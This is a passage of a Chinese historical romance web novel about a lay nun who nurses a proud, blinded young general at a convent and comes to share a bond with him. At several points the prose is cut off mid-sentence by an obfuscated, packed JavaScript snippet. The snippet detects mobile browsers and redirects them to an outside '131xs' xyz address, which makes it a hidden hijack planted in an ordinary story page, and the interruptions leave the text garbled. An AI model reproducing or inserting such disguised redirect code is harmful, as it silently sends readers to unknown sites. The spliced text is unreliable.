“上月,药师庵来了一位病人,是庐江刺史宋寒章的公子,名叫宋海晏。上月北魏进犯宝瓶口,宋将军率军退敌,这位小宋将军在战场上伤了眼睛和一条腿,宋家将小宋将军送来药师庵,托为师医治。药师庵一向不留治男客,然小宋将军是为保家卫国受伤,宋家亦捐了不少的香火钱,为师也不好推拒。只是,这位小宋将军性子古怪,你几位师姑去照料,都被骂了出来,说什么不肯再去。” 阿苦抬眸,眼神清亮:“师父是想让我去照顾这位小宋将军?” 静仪师太面露为难之色:“在为师众弟子中唯有你手脚麻利,性情沉着稳重,医术更得为师八分真传,是最合适的人选。然而男女有别,贴身照顾陌生男子,总是有损清誉。你又未剃度,更易遭那些风言风语,为师因此犹豫,你若不愿,为师也不勉强。”静仪师太低眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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进门之前,静慧师太拉着她到了角落里,低声道:“阿苦啊,你师父的话你随便听听就是。这照顾病人的活计你能做几分是几分,这宋公子若是不听,你也无须勉强,反正是他自己受痛。若是最终他成了个瞎子瘸子,也是他命数如此……” 阿苦瞠目结舌,静慧师太对病人一向细致耐心,若是病人不爱重自己的身体,她比对方还着急,何曾说过“能做几分是几分”“无需勉强”“让他自己受痛”“他命数如此”的话来,阿苦心中虽不以为然,但也并不争辩,只含笑点了点头:“多谢师姑提点。” 静慧师太又塞给她一把匕首,道:“这一两个月你就住在这里了。虽说那宋海晏既瞎且瘸,谅不能对你如何。但他毕竟是个男子,你晚上还需要留心。这里被褥衣物俱全,你还需要什么,就告诉师姑,师姑帮你去寻来。” “也不需什么……”阿苦话到唇边,心念一转,道:“对了,我的房间佛龛下有一只陶罐,清供着一枝梅花,劳烦师姑帮我取来。” “好,我晚课之后帮你送来。”静慧师太言罢,告辞而去。 阿苦推开院门,正午的阳光正照在院中的老梨树下,这时节梨花还未抽枝开叶,瘦骨嶙峋的枝干下靠坐着一个年约十七八岁的少年。 少年面如雕琢之玉,轮廓分明,鼻梁峻拔,双眉入鬓,英气逼人。美中不足的是眼眶四周一片紫青之色,应是中毒所致,使这英挺俊朗的面容平添几分凶神恶煞之感。 少年察觉有人推门而入,原本放松的背脊忽地挺直,朝门口的方向恶狠狠叱声道:“谁在那里?给我滚出去——” 5. 第二章 如此邂逅 阿苦身影一定,这位病人脾气果然有些古怪。但来都来了,她自然是不会走,而是向存放草药的耳房走去。 现在已经是未时,按时间算他眼睛上的药该换了,她该抓紧时间,以免误了用药的时辰。 少年察觉到她继续靠近,挥舞着手边一根折下的梨树枝条,张牙舞爪,疾声厉色:“你是新来的吧,她们没告诉你吗?我是疯子,我会杀了你——” 阿苦再往前一步,那梨树枝条竟似长了眼睛,朝她前额射了过来,她头上妙常冠被打落在地,发髻也全散了,那少年手中又折了一根梨树枝条,声音狠厉:“再不走,下一次射你的眼睛——” 阿苦总算明白了为啥众师姑都不愿意接这活,甚至静慧师姑暗示她随意应付一下就行。这照顾病人,首先得要近身,这人不分青红皂白就拿树枝这般乱射,谁也近不了身还能怎么照顾。 她知道不能硬来,轻声道:“公子别生气,我这便走。” 她将妙常冠捡起来,藏入袖中,原步退回,又关上了院门,只留了一道缝隙去观察里面的情况。 那少年听得关门声后,竟是放松了许多。他重新坐回梨树下,用手摸了一根青草,放在口中缓缓嚼着,一边张着耳朵,留意着门这边的动静,稍有风动门环之声,就一脸警觉,握紧手中的梨树枝条。 半途而废从来不是阿苦的作风,她观察了一下知事堂的情况。堂中只有这一处大门可以出入,然知事堂的后墙处有一颗大槐树,正好可以爬上房檐。少年留意大门这边,未必留意自己身后,倒是给她留出空门。 她很快绕到后墙,爬上大槐树,踩着槐树枝轻手轻脚上了屋顶。她虽极为小心,但落脚处的瓦片有些松动,发出吱嘎的声响。少年警觉,转头“看”了过来,耳朵也微微一动。 阿苦急中生智,学奶猫儿“喵喵”叫了两声。 少年察觉到是只猫儿,又放松了下来,继续留意大门那边。 阿苦这次更小心了,无声无息地从房檐上爬了下来,摸进一旁的耳房。按照静仪师太的习惯,病人要用的药都放在耳房中,她要给少年的眼睛敷药,就得先将这药材拿到手。 进了耳房,果然见到几贴膏药和一根黑色绸带,她将东西纳入袖中。看到几案一旁有另外数根金针,她在耳房翻找一番,找了一些没有用尽的麻沸散,便淬在针尖,一并带上。她走出耳房,又试探性地喵喵叫了几声。 少年转过头来,他显然已经完全接受了院子里有一只猫的事,从怀中拿出一个纸包,取出半个吃剩下的馒头,抛在面前不远的地上,也学猫儿叫了两声,似乎是想用食物勾引“奶猫”过去。 他眉眼舒展,右颊漾开一枚极浅的酒窝。笑容极纯净,也极清澈,仿佛初春溪水在鹅卵石上旋出的小小漩涡。 阿苦没想到他在人前凶神恶煞,对一只“猫”竟如此亲善。虽无心插柳,但机不可失,她一边喵叫,一边缓缓朝他那边靠近。 到两人相隔五步之时,少年忽地警觉,又去摸一旁的梨树枝,但阿苦早有准备,四枚金针齐出,刺入他双手腕间几处大穴,这是静仪师太教她的方法,用淬过麻沸散的金针刺穴,可以使病人的双手暂时失去行动能力,用于一些病人不配合治疗的情况。 果然,少年的手无力垂下,对她怒目而“视”:“卑鄙,竟然扮成猫来骗我……” 阿苦也不答话,飞快拔出金针,又趁少年正对着她,两贴膏药拍上他的双眼。她拿出绸布,正想替他蒙住双眼,防止膏药脱落,却见少年竟然就地一滚,拖着一条受伤的残腿,向大门的方向爬。 他双手不能动,一条腿还受了伤,只能以双肘为支撑,根本爬不了多远。一身白衣在泥地里滚得灰扑扑的,头埋进尘土里,情状极其狼狈。 阿苦皱了皱眉,不知为何他有这么大反应。当务之急,她该尽快用绸布他双眼蒙上,若是膏药在地上滚掉了,她这一番心力就白费了。 她上前两步,在少年身前蹲下,正要动手,忽又听他道:“求你了,你出去,不要看我,也不要管我。” 这次他的声音不似先前凶恶,反而满是哀求之意,显得有几分可怜。 阿苦可不管那么多,抓住他的后脑勺,想把他的头扶起来,少年又情绪激动起来,语气凶恶可怖:“说了,不许你看我。你敢看我的脸,等我好了,我定杀你——” 阿苦终于不耐:“你不好好用药,永远都好不了。” 少年气狠狠道:“好不了就好不了,你不许看……” 他话没有说完,因为阿苦已经扶起他的脸。 那张脸涕泪直下,泪水沾了灰尘,原本皎若秋月的一张脸,变得灰不溜秋,极为难看——那药膏气味虽不明显,但极具刺激性,用在眼部,会刺激得病人一直流眼泪,直到一刻钟之后,药物基本吸收后才会好转。 阿苦怔了片刻,忽地明白了什么:“你就是因为这种药用了之后会双眼流泪,所以拒绝师姑他们给你用药,还要将人都赶走?” 少年这时一口气全泄了,脸色如丧考妣,他扭过头去:“你想嘲笑我就笑吧,要么你就废了我的手,否则,等我的手能动了,我一定杀了你——” 阿苦道:“这并没有什么可以嘲笑的,这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他却意兴阑珊,懒得搭理那只野猫,只摇头嘟哝道:“这年头,连猫都有假,我可不会再被一只猫给骗了……” 阿苦算计时间也差不多了,上前去将他眼部的绸布解开,将用尽的药贴撕下,道:“用过药之后,眼睛吹了风可能有些钝痛,你最好是少吹风,到房间里去。” 宋海晏仿佛没听到,坐在原地一动不动。 阿苦想了想静慧师姑的提醒,“让他自己受痛”、“他命数如此”云云,也不再管他,到耳房拿了一本静仪师太留下的医书自顾自读了起来。 6. 第三章 暗香无觅 两人竟这般枯坐了一下午。到申时,静慧师姑又来了一趟,送来两人的饭食和她先前要的供着绿萼梅的陶罐。 阿苦将陶罐拿到自己房间,放在背阴处,提着食盒走到宋海晏身前,看着他道:“申时了,你应该也饿了,我喂你吃饭。” 她舀了一口稀粥,送到宋海晏唇边——她做这事自然而然,来药师庵的病人有不少身体不能动,需要人喂食,还有些夫人小姐们尊贵惯了,非要人喂到嘴边才肯吃饭。只要要求不过分,阿苦一般也会满足,照顾病人时,她一向以病人尽快痊愈为优先。 宋海晏此刻的脸色有些难堪,他轻轻别过脸:“有馒头吗?我吃馒头就行。” 阿苦看了一眼食盒,确实有一个馒头。她将馒头掰了一个小块,再次送到他唇边。宋海晏没有动,接着道:“你放在我左手前三寸之处就行。” 阿苦如他所言,将馒头放下,宋海晏拿起馒头,掰下约三分之一拿在手上,将剩下的塞入袖中。他吃得极慢,极仔细,总共小半个馒头,再仔细也没多久就吃完了,他也没有要再吃的意思,继续靠在树上闭目养神。 阿苦想不明白了,小半个馒头,别说宋海晏这样的精壮男子,就连她也不可能吃饱。她忍不住问道:“你就吃这么一点,能吃饱吗?” 宋海晏没有睁眼:“不能。所以剩下的要等到半夜饿了再吃。” 阿苦不解道:“何至于此?这食盒的食物够你吃了。”明明能吃饱饭,非要挨饿,这人果然是有些大病在身上的。 宋海晏不言,只轻轻摇了摇头。隔了一会,又道:“有水吗?你给我一碗水就行。” 阿苦倒了一碗水,照旧放在他左手前。宋海晏端起水,一小口一小口慢慢喝着,那碗口极大,他左手不便,纵是他再小心,还是有水漾出,溅洒在衣服上,于是阿苦再次在他脸上看到了难堪的神情。 明明碗口没有见底,他却不肯再喝了。 她大概有几分明白了。 宋海晏骨子里是极骄傲的人,他不能容忍自己流泪,也不能容忍自己因为眼睛失明而需要别人喂食,宁愿只吃馒头。又因为吃不饱,一个馒头也要分三顿吃。中午他拿出半片馒头喂猫,想必是他上午省下来,准备午后肚子饿了再吃的。 他坐在树下一动不动,也是肚子饿,想要省点力气。 阿苦想到那被夜猫叼走的馒头,忽地感到一丝丝的歉疚。 但也只有一点点。 浊世便该同流,与众不同的清高者只会自己吃苦。她那一头本不该存在的长发,在过往的十五年间带给她最大的经验和教训即在于此。 换言之,宋海晏实属没苦硬吃,不值得同情。 她吃完了自己的饭,收拾碗筷之后,将食盒放回知事堂门口。她想了想,又食盒里留下一张字条,让静慧师姑明日多送几个馒头。 日落西山,暮色自天际线晕染开来,将整座庭院浸入琥珀色的光晕。阿苦再次拿了两贴膏药走到宋海晏身后,道:“这次我在身后用药,我不看你的脸。但你要是乱动,我就转到你身前再动手。” 不知是她的威胁再次生效,还是宋海晏饿了一天没力气再折腾,总之,晚上用药时宋海晏乖巧极了,没有再出什么幺蛾子。 一刻钟之后,她依然如中午一样将膏药撕下。这时气温愈加寒凉,宋海晏站起身来,辨认了一下方位,一瘸一拐地向自己的房间走去。阿苦本想上前搀扶,又想这人大抵不肯是有一分示弱人前,便由他去了,留下一句“晚上有事叫我”就回到自己房间。 照顾病人时,阿苦晚上都不会睡得太死,以免有照顾不周的情形。病中之人总是矫情一些,有些人晚上叫十几次也是有的,阿苦睡到半夜,隔壁房间竟是一点生息也没有,好像根本没人一样。 她到底忍不住,点了一盏灯笼,推开宋海晏的房门,入目所见,床上竟是空无一人。 她吓了一跳,要是把人弄丢了,可是不小的罪过。她正要出门去找,角落里传来声音:“谁?” 她举灯照去,见宋海晏靠坐在角落里,仍是白日那般模样,只是背景从老梨树换成了一堵墙。 “是我。”阿苦道:“你怎么不去床上睡?这里不冷吗?” 宋海晏还没完全清醒,怔忪道:“我的衣服……”明晃晃的烛火一照,他失明的眼睛感知到一阵橘色的光团,这让他瞬间意识到自己的处境,未完的半句咽下,改口道:“没什么,我喜欢坐着睡,夜深了,你回去休息吧……” 这一日相处下来,阿苦也摸清了这人的脾性。一言以蔽之:自尊心极强,死要面子活受罪。 他大概是遇到了为难之事,但是不愿求助,宁愿自己捱着。 于是,阿苦看向他的衣服。他那身外袍日间在尘土里滚过,灰扑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138396|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑的,下摆处还沾着泥灰。上襟半遮半掩,露出里面的亵衣,只是腰间的系带不知怎地缠在一起,拧成一个死结。 她有几分后悔。宋海晏的手昨日被她用金针扎过,这一天是使不上什么力气的,他无力自己脱衣服,也拉不下脸叫她帮忙。他出身高门,自有世家的仪止和风范,不愿穿着脏衣服去床上,宁愿和衣蜷缩在墙角里。 她将灯笼置于架上,上手去解他的衣服——她并非不知男女有别,这样的行为别说她是个带发修行的沙弥尼,就算是在家的室女都大大不妥。 可他是她应照顾的病人,让他在地上躺一夜,明日多半生出新的病来。那时,她的麻烦事就更多了。 她还没碰到宋海晏,后者已然惊觉,下意识往左边一避,脑袋撞上一旁的立柜,发出清脆的声响,他却顾不上,只用左手护住自己的腰带,声音慌乱:“你……你干什么?” 阿苦道:“我帮你脱衣服,你去床上睡。” “你……”烛火之下,宋海晏的神情既难堪又窘迫:“我是个男人,我……我不需要你帮忙……”他想要躲避,可惜他对房间布置并不熟悉,又伤了一条腿,根本无处可躲,跌跌撞撞,摔了一个趔趄,反而更加狼狈。 清冷幽远的幽香侵入他的鼻息,她按住他唯一能动的左手,另一只手探向他的腰间,少女的声音从极近处传来。 “宋公子,在我眼中,你是个病人,病人不需要有那么多的自尊心。” 宋海晏自十三岁从军,也算得上身经百战,从没想过自己有朝一日会受制于一弱质女流,进退不能。他知道她正在看她,便睁大眼睛,瞪视着她,希望做出凶恶可怖的模样将她吓退,可惜这受伤的眼睛实在不争气,动作幅度一大,又兀自流下泪来。 他既气且急,简直想一头撞死,恶狠狠道:“你等着,我一定杀了你——” 此时腰间的系带一松,整件外衫已经被人剥粽叶般揭下,不知抛落何处。左手的重量一轻,那飘渺的暗香瞬间离他远去。 随后,橘色光团从他能感知的范围消失,少女轻灵的声音从门口传来:“宋公子,我只做我认为该做的事,现在也已经做完了。你若是喜欢在地上睡,也悉听尊意。” 门吱呀一声关上,暗夜寂寂,再无人声,仿佛一切都没有发生过。 宋海晏置身黑暗之中,略一恍惚,忽地泄了一口气。 7. 第四章 春鸟啼鸣 第二天阿苦起身,见宋海晏仍然如昨天一样坐在梨树下。 他换了一件没有系带的玄色外袍,腰间配着青圭色的玉勾,以方便穿脱。阿苦拿着药贴到他身前时,他分明有所感知,却没什么反应,甚至连眼皮子也懒得掀一下。 阿苦给他用药时,他也一动不动,似乎对自己的处境已经认命。 阿苦自然乐见其成,宋海晏的伤势并非一朝一夕可以痊愈,他若是以后都这样配合,她也轻松很多。早上静慧师太来送饭时,见昨日凶残暴戾的少年安静如绵羊,大吃一惊,对阿苦的能耐赞不绝口。 早饭之后,阿苦便往经堂参加早课——她的差役虽免,但药师庵的早课人人都必须参加,上至住持,下至新入门的沙弥尼,人人都不能幸免。 早课之后,她见到了一位不速之客。 那人来自金陵宫城,是皇祖父身边的常侍,名叫韩忠。阿苦在偏殿听韩忠宣读圣旨。 圣旨上说,去冬今春,皇太孙身体不太好,缠绵病榻,不易起身,太孙的宫妃滑胎两次,皇帝以为,公主礼佛之心不诚,以致灾殃。特命公主手抄金刚经二百卷,散于各处佛寺庵堂,以彰天家忏罪消孽之心,以求佛祖庇佑萧氏子孙昌盛、国祚绵长。 阿苦接旨谢恩之后,韩忠似嘲哂又似怜悯地看了她一眼,道:“公主,近日陛下身体不太好,太孙每次生病,陛下都情绪暴躁。公主,如今萧氏一门命脉都系于您一身,您需在此事上多用些心。这二百卷金刚经,奴婢两个月之后来取,如若完不成,您是知道后果的。” 阿苦头颅着地,柔顺谦卑:“请常侍转告陛下,阿苦必会在期限内完成。” 韩忠离去之后,阿苦跪在佛殿中,心中忽生出将这满殿神佛砸个稀巴烂的冲动。 随着她年龄愈长,愈讨厌与金陵那座宫城有关的一切。那座宫城中的人,赋予了她血缘,以及公主的身份。 可这血缘不是亲缘的纽带,公主的身份也不是什么荣耀,而是她生下来就背负着的原罪。 因为这份原罪,她从小就被迫离开自己的母亲,被禁锢在方寸之地,领受众师姐师妹的嫉妒和排挤,来赎永远赎不完的罪孽。 她恨自己的出身。 亦恨自己的母亲,为什么要将她生出来。 圣旨上说得没错,她确实礼佛之心不诚。 自她八岁能识文写字之后,每每她的哥哥生病,金陵总有圣旨降下,申斥她礼佛之心不诚,然后便是命她抄经散于各处。 南楚盛行的佛经《大般涅槃经》、《法华经》、《维摩诘经》、《华严经》、《金刚经》、《楞伽经》她都默写过多次,几乎闭目能诵,可她早已不信经书上的任何道理。 佛曰:众生平等,无有高下。 那为何她与哥哥一母同胞,一人是金尊玉贵的王子皇孙,逍遥自在,一人是庵堂的使女,不得自由? 为何祖父杀人的罪孽,却要她出家礼佛来消解?难道祖父自个诵不得经,忏不得罪吗?有罪之人不忏罪,无罪之人却要承受罪孽,这便是佛陀的道理吗? 所以,哪有什么众生平等?这世道不过是恶者欺善,强者凌弱罢了。 释家玄门,不外如是。 可这样的话,出口便是大逆不道,她从来只敢在心里想,不敢叫第二个人知晓。 圣旨既降,她除了日夜抄经之外,别无选择。若是那边韩常侍再来时,她没能如期交差,多半就得被罚禁闭禁足,短则十天,长则一个月。 送走金陵来的天使,静仪师父和静慧师姑商量片刻,决定仍让她在知事堂住着。一者,宋海晏这边刚刚稳定,如果换人,怕他诨闹起来前功尽弃,二来,知事堂这边地方宽敞,无人打扰,抄经速度也快些,纵有宋海晏这个累赘,也比别处清静许多。 阿苦抱着纸笔经卷回到知事堂时,心情难免怏怏不乐。 她回到房间,跪坐几案旁,展开经卷,却神思恍惚,一字未着。寥落之间,见那清供着梅花的陶罐中忽地爬出一只指甲盖大小的黑蜘蛛。 阿苦受惊,“啊”的惊叫而起,触到几案,案上陶罐砰地一声坠地,裂成数瓣。陶罐中那枝绿萼坠下琼英,雪冷香残,再无孤芳可赏。 阿苦看着地上的陶罐碎片,怔然惶然,竟低声抽泣起来。 庵中比丘尼都没有自己的私产,一应吃穿器物,都属公家。那只陶罐是她去年春天从阿难殿下的梅树根偶然挖到的,虽然破旧残损,然她极爱之,只要她能在庵内找到花儿——哪怕是生在墙角的野菊、蒲公英之类的小花——总爱折来清供其中。 静仪师太见她喜爱这陶罐,便特许她留下。这点钟爱之物,竟因着突如其来的变故,碎骨成尘。她百感于心,忽觉得,自己的命运,就如同这陶罐一样,偶然间被人塑造出来,又被人弃在见不得光的角落,忽有一天被挖出,也不过是用来供奉那些真正被人喜欢的物什。 命运从来脆弱,只要有人轻轻一碰,便可叫她粉碎成灰。 她越想越伤心,伏在书案上,呜呜哭了起来。 哭声惊动梨树下的人。 宋海晏挣扎着站起,踉跄走到阿苦房外,“喂,你怎么了,你别哭了……” 他看不到屋内的情形,也不知那少女为何而哭,心中却莫名升起焦灼懊恼的情绪。 “对不起,我……我……”宋海晏支吾两声,终觉得敢做不敢当是怯弱者之愚行,“那蜘蛛是我早上趁你不在,放在罐子里的。我只是想报复一下你昨天假装成小猫来骗我,又用金针扎我的手的事……” “我错了,我向你道歉,你别哭了。” 少年央求道:“我只是想吓唬你一下,给你一个教训,不知道你会被吓哭……对不起,我错了,你打我骂我吧,我绝不还手,求你不要再哭了……” 宋海晏做这事时,并没有考虑过什么严重后果。他家中表兄弟极多,都自幼一起玩闹着长大。男孩子淘气起来,上天揽月、下海捉鳖都是敢的。各种蛇虫鸟兽,常常被捉来互相吓唬捉弄,若是有人不小心被吓哭了,在兄弟行中一整年都抬不起头来。 他早上坐在梨树下,不经意间觉得脚腕痒,伸手时捉到了一只蜘蛛。忆起昨日阿苦和静慧师太谈话,特地要了那只陶罐,想是极为心爱。他一时竟起了促狭心思,趁阿苦上午离开,摸索着将蜘蛛放在陶罐中,私心里,也不过觉得这是一个小小的恶作剧而已。 听到陶罐碎裂时他已经后悔,等到听到少女的哭声,只恨不得一个耳刮子抽死自己。他是怎么想出,竟用这等丑物吓唬一个姑娘家。 可不管他怎么道歉求恳,阿苦都不理她,只一个劲的哭,似乎恨不得将这一生的眼泪都哭出来。 宋海晏无可奈何,在门外杵了偌久,听那哭声零零碎碎,断断续续,终于下定了某种决心:“我给你表演一个绝活,算是给你道歉。你要是觉得我表演得好,你就不许哭了——” 阿苦听了这话,心中一动。 她大哭一场后,上午因为那道圣旨带来的苦闷心情已经宣泄了不少,只是情志一时难以平复。宋海晏主动提出表演绝活,她也起了好奇之心,便继续伏案假哭,一边暗中留意,心想宋海晏眼瞎腿瘸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138397|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能表演出什么花活来。 宋海晏背对着她,在台阶上坐下。 “喵……喵喵……”门外先是想起了两声猫叫声。 阿苦心中不以为然,这学小猫叫唤,她自己也会,算不上什么绝活。 “嗷……嗷呜……”门外的声音变成了狗叫声,想宋海晏那般骄傲的人,为了哄她,竟然愿意扮狗叫,她不由觉得好笑,心中滞郁之气也略微消了些。 “喔喔—喔喔喔—哒——”狗叫声停后,竟是一声极为高亢的公鸡打鸣声,阿苦略一怔愣,那声音又变了,“啾啾—吁—哟——哟伊—哟——”,这次是不知名的野鸟叫声,声音极清脆,极悦耳动听,若不是之前有狗叫鸡鸣作为铺垫,阿苦只怕要真以为有鸟雀停在屋外,一振歌喉。她不得不承认,宋海晏确实是有几分绝活在身上的。 再然后,宋海晏又模拟了蜜蜂嗡嗡声,蝉鸣声,老鼠吱吱声,虎啸声、狼嚎声、老鹰唳鸣声、战马长嘶声等等,不一而足。 阿苦抬起头,一张脸写满震惊,她已经全然忘了哭泣,问道:“你是怎么学的这些?” 少年发出一声轻笑,这笑声极得意:“当然是自学的,我十三岁便跟着我爹上战场。最早是做斥候,常常要去敌方打探军情,这可是一不小心就丢命的活。有时候不免动出些动静,引起敌人的怀疑,便学些动物的叫声遮掩过去,就像你昨天那样——” 他又吁叹了一声:“常年打雁,没想到被雁啄了眼。我气量狭小,捉弄于你,向你赔罪。” 阿苦本来也不是因为他而哭的,问道:“十三岁就上战场,你不会害怕吗?” “这有什么可怕的。”宋海晏声音骄傲:“我母亲从小就教导我,大丈夫当带三尺之剑,立不世之功。况且我们庐江宋氏,自衣冠南渡以来,就为南朝王朝镇守淮南防线,族中子弟个个自小从军。就算战死沙场,也是为我们大楚的皇帝陛下和百姓而死,有何俱哉——” 阿苦听闻“皇帝陛下”四字,不以为然,道:“你知道大楚皇帝是什么样的人吗?就为他效死?” 宋海晏摇头,“不知道,我又没见过皇帝。但忠君报国,是我阿父自幼教导。”他语气有几分茫然不解:“姑娘这么问,难道皇帝陛下不是好人?” 阿苦一怔。 她的祖父在治国上并不算昏聩庸碌之君,只是对她偏私薄情而已,但她没必要对宋海晏说些。她思考片刻,说:“一个帝王并不能用好人或者怀人来评价。” “我爹也这么说过。”宋海晏歪着头,笑容明亮:“他说,效忠于君就是效忠于国,我们宋氏子弟的职责,就是替大楚王朝守护北方的第一道防线。” 阿苦心中喟叹,她看向宋海晏失明的眼睛:“既如此,你当爱重自己的身体,将它用在有用之时。” …… 午后,阿苦展开空白的经卷,开始默写经文。 廊檐垂落的铜铃在东风里轻颤,细碎的清音渗进午后慵懒的时光。 窗漏将天光筛成碎银,少女执笔,漆黑的墨迹在苇草纸上流淌。 “……一切有为法,如梦幻泡影。 如露亦如电,应做如是观。” 少女写到此处忽地搁笔,她抬眼看向窗外,有两只新燕衔来湿泥,在檐下筑巢,梨树最上方的梢头,颤颤巍巍绽出第一抹莹白花瓣。 少年倚着老梨树虬结的枝干,口中衔着一根青草。他似乎感应到她的目光,将手指放在唇边,微微而笑。 哟伊—哟—— 那声音似春鸟啼鸣。 啊,应做如是观。 8. 第五章 风露清愁 七日之后,院中梨花已经盛开。枝头攒着雪,树冠堆着云,一簇簇、一团团,如雪似玉,在天光中泛着莹润的光泽。偶有微风过处,花枝轻颤,花瓣扑簌如雨。 这天上午,静仪师太为宋海晏用了最后一次针,将特意调制的黑色药膏敷在他的眼周,又用黑色绸布蒙上。她说:“这是最后一次治疗,三个时辰之后解开黑布,有五成的机会你就能看见了。如果不能,那贫尼也无能为力了。” 她又转头看向阿苦:“你好好看顾他,我下午再来。” 听到静仪师太的话,阿苦一上午都十分紧张,如果静仪师太都治不好宋海晏的眼睛,他很可能终此一生无法恢复光明。对于他这么骄傲的人来说,无疑是个沉重的打击。何况,他还这么年轻,本可以成为一个优秀的将军。 宋海晏看起来倒是没有丝毫忐忑之意。他坐在梨花树下,手中拿着一张角弓,将弓弦拉满,仔细聆听来自天空的声响,一旦空中出现鸟鸣声响,便跃跃欲试。 阿苦觉得奇怪,问道:“有弓没箭,也能射下飞鸟?” 宋海晏笑道:“当然不能,但是我很久没有摸弓,手有点痒。反正下午就能看见了,我先试试手感。” 阿苦讶然道:“你这么有信心?连我师父都只有五成的把握。” 宋海晏道:“当然了,我将来可是要做大将军的。而且,我还没有见到你的模样呢,怎么会一辈子做个瞎子呢?”他忽又低笑一声:“而且我们宋家可是捐献了十万的香火钱,你们庵里供奉的药王菩萨应该也会庇佑我的吧。” 阿苦素来不信神佛,道:“那可说不准。” 宋海晏嘴角勾起:“好吧,就算药王菩萨不庇佑我,也总还会有另外一位女菩萨保佑我的。” 阿苦好奇,问道:“什么女菩萨?” 清风拂过,梨花落瓣飞扬,落在他头上、肩上,宋海晏唇角笑意愈发明显,声音和悦:“当然是你这位女菩萨啦,你这么善良,一定会保佑我重见光明,不是吗?” 阿苦觉得脸上有点热:“我不是什么女菩萨,只是药师庵的沙弥尼,宋公子莫要开这样的玩笑。” 宋海晏弹了两下弓弦,将它放在树下,说道:“好吧,不说笑了。其实我这几天已经模模糊糊能看到一点了,我看到你羽衣冠带,长发飘飘,就和画像上的观世音菩萨差不多呢。对了,这几天多谢你照顾我,我还不知道你的名字呢?” 两人虽然相处数天,但知事堂只有两人,宋海晏之前没有问过她的名字,一直只是称呼“你”。 阿苦答道:“我叫阿苦。苦涩的苦。” 宋海晏微微皱眉,语气沉凝:“怎么叫这样的名字?” “这名字有什么不对吗?” “也不能说不对。”宋海晏道:“我曾听人说起,名字是一种意象,一种表征,它来自父母或者长辈的赋予,代表他们对子女或晚辈的想望或者祝福。比如说,我叫宋海晏,因为我父亲希望我可以给这个世界带来清平和晏宁,而‘晏’还有和乐、安宁的意思,我的母亲希望我的生活安宁幸福。所以,一般不会有人用‘苦’字起名。” 阿苦心中泛起一股微不可察的苦涩和自怜:“大概是因为我并不是一个受到亲人师长祝福的人……也没什么人希望我得到幸福,所以才会得到这样的赋名……” 如果她曾得到过祝福,又怎么会从小离开自己的母亲,一个人独自面对这世间的恶意呢?又怎么会被困在这里,用一辈子的时间去赎自己从没犯过的罪呢? 就算这世间真有神佛,大概她也是那个被神佛所弃之人。 大概是少女的语气突如其来的悲伤,在阿苦说自己是一个并不被祝福的人的时候,宋海晏的心尖忽然像是被什么扎了一下。 这种情绪来得莫名,然则他确实痛了一下,脱口而出道:“没有关系,名字是一个人对另外一个人的想望与祝福,我可以将我的幸福分给你,以后我就叫你阿幸……我给你这样的想望和祝福,这样你就会得到幸福……” 这些话没有思考,发之于心,宣之于口,连他也不知道自己为什么会这么说,可他偏偏就是这样不藏不掩地说出来了。 这话实在逾矩,阿苦攥紧手指,气得发抖。 她想说,你与我有关系吗,凭什么给我起名字?你有什么资格说这样的话?你知道我是什么人吗?有着什么样的过去,背负着些什么,就能说这样的大话? 可宋海晏双目失明,看不见她的表情,见她久久不说话,又道:“你不说话,是不是不喜欢这个名字?没关系,我们可以换成别的。阿福?或者阿吉?要是你都不满意,我可以回去翻翻《说文解字》,一定能给你找到一个好听的名字……” 他脸上表情实在过于诚挚,无一丝轻浮,并不觉得自己是说了多么瓜田李下、惹人瞎猜的话,反而有一种“本该如此”的笃定。 她忽又不生气了,只觉得眼中一片酸涩。 宋海晏并不认识她,他今天才知道她名字,没有见过她的长相,也不知道她的身份。他就像一个孩子,从家里拿了两个纸包点心出门,偶然遇到一个年纪相仿的小乞丐没有吃饭,所以本能想要分给对方一个。 至于对方是谁,根本就不重要。 他并不知道只有他自己的点心里裹着蜜糖,而随手递出的那个只是看起来很像的空壳而已。 她明知道自己不可能尝到那丝甜,此刻竟也想抓住那空壳,就像它真的能给她带来祝福。 “没有,谢谢你。”阿幸用袖角拭去眼角泪意,轻声道:“阿幸这个名字,我很喜欢。” 下午,静仪师太再次来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 